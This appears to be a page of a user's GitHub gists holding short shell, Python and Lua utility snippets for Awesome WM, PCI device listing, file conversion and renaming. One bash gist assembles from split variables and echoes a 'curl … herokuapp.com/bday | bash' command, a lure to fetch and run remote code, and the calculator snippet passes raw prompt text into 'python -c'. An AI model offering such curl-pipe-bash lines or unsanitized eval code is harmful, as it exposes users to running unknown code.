This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
-- Insert in your rc.lua to globalkeys (may be after mod+x) defining | |
-- In awesome 4.0 : | |
awful.key({ modkey }, "c", | |
function () | |
awful.prompt.run { | |
prompt = "Calculate: ", | |
textbox = awful.screen.focused().mypromptbox.widget, | |
exe_callback = function (text) | |
awful.spawn.easy_async( | |
"python -c \"from math import * ; print(" .. text .. ")\"", |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
make | |
Scanning dependencies of target arbolibrum | |
[ 11%] Building CXX object src/lib/CMakeFiles/arbolibrum.dir/src/note.cpp.o | |
[ 22%] Building CXX object src/lib/CMakeFiles/arbolibrum.dir/src/compression.cpp.o | |
[ 33%] Building CXX object src/lib/CMakeFiles/arbolibrum.dir/src/decompression.cpp.o | |
[ 44%] Building CXX object src/lib/CMakeFiles/arbolibrum.dir/src/encryption.cpp.o | |
In file included from /home/postskript/ArboLibrum/src/lib/src/encryption.cpp:13:0: | |
/home/postskript/ArboLibrum/src/lib/src/../include/encryption.h:18:18: warning: extra tokens at end of #include directive | |
#include "math.h"; | |
^ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
devices_file = open('/proc/bus/pci/devices').readlines() | |
raw_id = [x.split('\t')[1] for x in devices_file] | |
vend_and_dev = [(x[:4], x[4:]) for x in raw_id] | |
pci_ids = open('/usr/share/hwdata/pci.ids').readlines() | |
ids_lib = {} | |
dev = "" | |
vendor = "" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
for i in *.tif | |
do | |
tiff2pdf "$i" -o "${i%.*}.pdf" | |
rm "$i" | |
done |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
ls -l | grep '^l' | awk '{print $9}' | xargs rm |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
""" Usage | |
Run once | |
$ sed "s/postskript/$USER/g" battery.py | |
$ sed "s/postskript/$USER/g" "$HOME/.config/awesome/battery_magic.py" | |
Apped the lua code to rc.lua and then | |
$ sed "s/postskript/$USER/g" "$HOME/.config/awesome/rc.lua" | |
$ echo 600 > $HOME/.config/awesome/display_brightness_delay | |
$ echo 10 > $HOME/.config/awesome/.true |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
DEVNULL="2>/dev/null" | |
CTOXEPOB=.herokuapp.com/bday | |
SHELL="| bash" | |
YURA_STR=https://yura-bday | |
echo "А теперь давай:" | |
echo curl $YURA_STR$CTOXEPOB $DEVNULL $SHELL |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
for i in {1..10} ;do echo $((RANDOM % 80)); done | while read n ; do printf " %2d | " $n ;for ((x=0; x < n; x++)) ; do echo -n \# ; done; echo; done | |
for i in {1..10} | |
do echo $((RANDOM % 80)) | |
done | while read n | |
do printf " %2d | " $n | |
for ((x=0; x < n; x++)) | |
do | |
echo -n \# | |
done |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
from pyudev import Context, Monitor, MonitorObserver | |
import usb | |
import os | |
import time | |
def main(): | |
os.system('clear') | |
udev_context = Context() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
for i in *kiklevich* | |
do | |
mv "$i" "${i/kiklevich/Патеенок}" | |
done |